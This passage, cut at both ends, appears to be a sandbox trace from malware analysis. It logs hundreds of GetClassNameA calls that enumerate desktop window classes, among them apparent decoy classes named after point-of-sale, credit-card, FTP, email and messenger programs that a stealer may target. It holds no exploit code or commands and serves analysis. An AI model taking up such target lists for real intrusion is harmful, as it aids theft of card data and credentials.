nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0219.454] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0219.454] GetClassNameA (in: hWnd=0x10184, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0219.454] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0219.454] GetClassNameA (in: hWnd=0x100c8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0219.454] GetClassNameA (in: hWnd=0x100c6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0219.454] GetClassNameA (in: hWnd=0x100a0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0219.455] GetClassNameA (in: hWnd=0x100a4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0219.455] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0219.455] GetClassNameA (in: hWnd=0x100bc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0219.455] GetClassNameA (in: hWnd=0x100c0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0219.455] GetClassNameA (in: hWnd=0x10084, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0219.455] GetClassNameA (in: hWnd=0x10090, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0219.455] GetClassNameA (in: hWnd=0x100ba, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0219.455] GetClassNameA (in: hWnd=0x20078, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Shell_TrayWnd") returned 13 [0219.455] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD45CE4120") returned 20 [0219.455] GetClassNameA (in: hWnd=0x100d2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0219.455] GetClassNameA (in: hWnd=0x202e2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0219.455] GetClassNameA (in: hWnd=0x30308, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="TabThumbnailWindow") returned 18 [0219.455] GetClassNameA (in: hWnd=0x20332, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-007CCDB8-956e40d") returned 28 [0219.455] GetClassNameA (in: hWnd=0x40194, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Alternate Owner") returned 15 [0219.455] GetClassNameA (in: hWnd=0x5020c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.455] GetClassNameA (in: hWnd=0x1037a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="often_far_on_cls") returned 16 [0219.455] GetClassNameA (in: hWnd=0x10378, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="utg2_class") returned 10 [0219.455] GetClassNameA (in: hWnd=0x20210, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Senseunderstandwnd") returned 18 [0219.456] GetClassNameA (in: hWnd=0x10374, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="spgagentservice_cls") returned 19 [0219.456] GetClassNameA (in: hWnd=0x10342, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="afr38window") returned 11 [0219.456] GetClassNameA (in: hWnd=0x10370, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="spcwin_wnd") returned 10 [0219.456] GetClassNameA (in: hWnd=0x10362, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="isspos_class") returned 12 [0219.456] GetClassNameA (in: hWnd=0x10334, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="active-charge_wnd") returned 17 [0219.456] GetClassNameA (in: hWnd=0x10366, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="mxslipstreamcls") returned 15 [0219.456] GetClassNameA (in: hWnd=0x1036a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="omnipos_wnd") returned 11 [0219.456] GetClassNameA (in: hWnd=0x1035c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="fpos_cls") returned 8 [0219.456] GetClassNameA (in: hWnd=0x1032c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="winscp_") returned 7 [0219.456] GetClassNameA (in: hWnd=0x10356, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="edcsvr_app") returned 10 [0219.456] GetClassNameA (in: hWnd=0x10352, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="creditservice_class") returned 19 [0219.456] GetClassNameA (in: hWnd=0x10326, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="yahoomessenger_class") returned 20 [0219.456] GetClassNameA (in: hWnd=0x10388, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0219.456] GetClassNameA (in: hWnd=0x10316, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="thunderbirdwindow") returned 17 [0219.456] GetClassNameA (in: hWnd=0x1034c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ccv_server_") returned 11 [0219.456] GetClassNameA (in: hWnd=0x10348, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="centralcreditcardwnd") returned 20 [0219.456] GetClassNameA (in: hWnd=0x10310, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="trillian_cls") returned 12 [0219.456] GetClassNameA (in: hWnd=0x10340, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="aldelowin") returned 9 [0219.456] GetClassNameA (in: hWnd=0x1030c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="smartftpcls") returned 11 [0219.457] GetClassNameA (in: hWnd=0x10336, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="accuposwin") returned 10 [0219.457] GetClassNameA (in: hWnd=0x10300, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="skype_win") returned 9 [0219.457] GetClassNameA (in: hWnd=0x10320, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="whatsappwindow") returned 14 [0219.457] GetClassNameA (in: hWnd=0x10312, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="webdriveclass") returned 13 [0219.457] GetClassNameA (in: hWnd=0x10302, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="scriptftpwindow") returned 15 [0219.457] GetClassNameA (in: hWnd=0x102f8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="outlook_win") returned 11 [0219.457] GetClassNameA (in: hWnd=0x102dc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="leechftp_class") returned 14 [0219.457] GetClassNameA (in: hWnd=0x102f6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="pidginwnd") returned 9 [0219.457] GetClassNameA (in: hWnd=0x102da, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="icq_class") returned 9 [0219.457] GetClassNameA (in: hWnd=0x102f0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="operamail_cls") returned 13 [0219.457] GetClassNameA (in: hWnd=0x102e4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ncftpapp") returned 8 [0219.457] GetClassNameA (in: hWnd=0x102c6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="flashfxp_win") returned 12 [0219.457] GetClassNameA (in: hWnd=0x102e6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="notepad_win") returned 11 [0219.457] GetClassNameA (in: hWnd=0x102bc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="filezilla_") returned 10 [0219.457] GetClassNameA (in: hWnd=0x102ce, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="gmailnotifierpro_class") returned 22 [0219.457] GetClassNameA (in: hWnd=0x102d0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="foxmailincmail_win") returned 18 [0219.457] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="barcawnd") returned 8 [0219.457] GetClassNameA (in: hWnd=0x102c8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="fling_") returned 6 [0219.457] GetClassNameA (in: hWnd=0x102ba, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="coreftpclass") returned 12 [0219.458] GetClassNameA (in: hWnd=0x102b8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="farwnd") returned 6 [0219.458] GetClassNameA (in: hWnd=0x102ac, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="bitkinex_wnd") returned 12 [0219.458] GetClassNameA (in: hWnd=0x102a8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="alftp") returned 5 [0219.458] GetClassNameA (in: hWnd=0x1029c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="3dftp_app") returned 9 [0219.458] GetClassNameA (in: hWnd=0x1029a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="absolutetelnet_window") returned 21 [0219.458] GetClassNameA (in: hWnd=0x10282, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Hundredmarriageclass") returned 20 [0219.458] GetClassNameA (in: hWnd=0x10272, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="causewnd") returned 8 [0219.458] GetClassNameA (in: hWnd=0x1027e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="walloil") returned 7 [0219.458] GetClassNameA (in: hWnd=0x10280, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="stock_Decide_Improve_cls") returned 24 [0219.458] GetClassNameA (in: hWnd=0x10270, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Green_hard_wind_wnd") returned 19 [0219.458] GetClassNameA (in: hWnd=0x10256, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="his_window") returned 10 [0219.458] GetClassNameA (in: hWnd=0x10254, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ProductRepublicanamountclass") returned 28 [0219.458] GetClassNameA (in: hWnd=0x10250, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="if_return_class") returned 15 [0219.458] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="FiveAddToowindow") returned 16 [0219.458] GetClassNameA (in: hWnd=0x10226, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="YardBeclass") returned 11 [0219.458] GetClassNameA (in: hWnd=0x10240, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="sourcewindow") returned 12 [0219.458] GetClassNameA (in: hWnd=0x10220, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Shothotwnd") returned 10 [0219.458] GetClassNameA (in: hWnd=0x10242, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="on_Walk_cls") returned 11 [0219.459] GetClassNameA (in: hWnd=0x10234, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="chanceEverybodyemployeeclass") returned 28 [0219.459] GetClassNameA (in: hWnd=0x10236, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="right_Forget_win") returned 16 [0219.459] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="coursesimilarAreacls") returned 20 [0219.459] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Instead_able_light_wnd") returned 22 [0219.459] GetClassNameA (in: hWnd=0x10218, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Account_") returned 8 [0219.459] GetClassNameA (in: hWnd=0x10216, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Task") returned 4 [0219.459] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ApplyOurstrategy") returned 16 [0219.459] GetClassNameA (in: hWnd=0x2013c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.459] GetClassNameA (in: hWnd=0x2012c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.459] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0219.459] GetClassNameA (in: hWnd=0x20132, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0219.459] GetClassNameA (in: hWnd=0x3002c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0219.459] GetClassNameA (in: hWnd=0x701f2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0219.459] GetClassNameA (in: hWnd=0x2031c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.459] GetClassNameA (in: hWnd=0x501e2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IEFrame") returned 7 [0219.459] GetClassNameA (in: hWnd=0x20144, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0219.459] GetClassNameA (in: hWnd=0x400f8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0219.459] GetClassNameA (in: hWnd=0x801ea, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.459] GetClassNameA (in: hWnd=0x401fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.460] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.460] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.460] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.460] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD43B47080") returned 20 [0219.460] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.460] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="SystemTray_Main") returned 15 [0219.460] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0219.460] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.460] GetClassNameA (in: hWnd=0x10148, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0219.460] GetClassNameA (in: hWnd=0x10118, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0219.460] GetClassNameA (in: hWnd=0x1010e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.460] GetClassNameA (in: hWnd=0x10116, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="TabletModeCoverWindow") returned 21 [0219.460] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.460] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.460] GetClassNameA (in: hWnd=0x10114, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0219.460] GetClassNameA (in: hWnd=0x1010c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0219.461] GetClassNameA (in: hWnd=0x100ee, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0219.461] GetClassNameA (in: hWnd=0x100ea, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0219.461] GetClassNameA (in: hWnd=0x100e6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.461] GetClassNameA (in: hWnd=0x100e0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.461] GetClassNameA (in: hWnd=0x100de, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.461] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0219.461] GetClassNameA (in: hWnd=0x100be, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0219.461] GetClassNameA (in: hWnd=0xb033e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0219.461] GetClassNameA (in: hWnd=0x20020, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0219.461] GetClassNameA (in: hWnd=0x30016, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0219.461] GetClassNameA (in: hWnd=0x20028, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0219.461] GetClassNameA (in: hWnd=0x2004a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="PNIHiddenWnd") returned 12 [0219.461] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0219.461] GetClassNameA (in: hWnd=0x10072, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0219.461] GetClassNameA (in: hWnd=0x1006e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0219.461] GetClassNameA (in: hWnd=0x10022, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Dwm") returned 3 [0219.461] GetClassNameA (in: hWnd=0x10192, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="CicLoaderWndClass") returned 17 [0219.461] GetClassNameA (in: hWnd=0x3030e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0219.462] GetClassNameA (in: hWnd=0x100cc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Progman") returned 7 [0219.462] GetClassNameA (in: hWnd=0x10136, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.462] GetClassNameA (in: hWnd=0x10178, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.462] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.462] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.462] GetClassNameA (in: hWnd=0x10186, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.462] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0219.462] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.462] GetClassNameA (in: hWnd=0x202e0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.462] GetClassNameA (in: hWnd=0x30296, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.463] GetClassNameA (in: hWnd=0x103a8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.464] GetClassNameA (in: hWnd=0x103a6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.464] GetClassNameA (in: hWnd=0x103a4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.464] GetClassNameA (in: hWnd=0x103a2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.464] GetClassNameA (in: hWnd=0x103a0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.464] GetClassNameA (in: hWnd=0x1039e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.464] GetClassNameA (in: hWnd=0x1039c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.464] GetClassNameA (in: hWnd=0x1039a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.464] GetClassNameA (in: hWnd=0x10398, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.464] GetClassNameA (in: hWnd=0x10396, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.464] GetClassNameA (in: hWnd=0x10394, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.464] GetClassNameA (in: hWnd=0x10392, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.464] GetClassNameA (in: hWnd=0x10390, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.464] GetClassNameA (in: hWnd=0x1038e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.464] GetClassNameA (in: hWnd=0x1038c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.464] GetClassNameA (in: hWnd=0x1038a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.464] GetClassNameA (in: hWnd=0x10386, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.465] GetClassNameA (in: hWnd=0x10384, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.465] GetClassNameA (in: hWnd=0x10382, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.465] GetClassNameA (in: hWnd=0x10380, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.465] GetClassNameA (in: hWnd=0x1037e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.465] GetClassNameA (in: hWnd=0x1037c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.465] GetClassNameA (in: hWnd=0x1036c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.465] GetClassNameA (in: hWnd=0x10360, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.465] GetClassNameA (in: hWnd=0x10358, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.465] GetClassNameA (in: hWnd=0x1034e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.465] GetClassNameA (in: hWnd=0x10344, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.465] GetClassNameA (in: hWnd=0x1033a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.465] GetClassNameA (in: hWnd=0x10338, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.465] GetClassNameA (in: hWnd=0x1032e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.466] GetClassNameA (in: hWnd=0x1032a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.466] GetClassNameA (in: hWnd=0x10322, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.466] GetClassNameA (in: hWnd=0x1031a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.466] GetClassNameA (in: hWnd=0x10318, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.466] GetClassNameA (in: hWnd=0x10314, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.466] GetClassNameA (in: hWnd=0x10306, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.466] GetClassNameA (in: hWnd=0x102fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.466] GetClassNameA (in: hWnd=0x102fa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.466] GetClassNameA (in: hWnd=0x102ec, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.466] GetClassNameA (in: hWnd=0x102e8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.466] GetClassNameA (in: hWnd=0x102de, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.466] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.466] GetClassNameA (in: hWnd=0x102d2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.466] GetClassNameA (in: hWnd=0x102c2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.466] GetClassNameA (in: hWnd=0x102b4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.466] GetClassNameA (in: hWnd=0x102b2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.466] GetClassNameA (in: hWnd=0x10294, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.466] GetClassNameA (in: hWnd=0x10292, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x10290, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x1028e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x1028c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x1028a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x10288, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x10286, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x10284, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x1027c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x10274, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x1026e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x10266, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x10260, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x10258, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x10252, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x10244, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x10222, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.467] GetClassNameA (in: hWnd=0x4014e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.468] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.468] GetClassNameA (in: hWnd=0x101c8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0219.468] GetClassNameA (in: hWnd=0x101ac, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 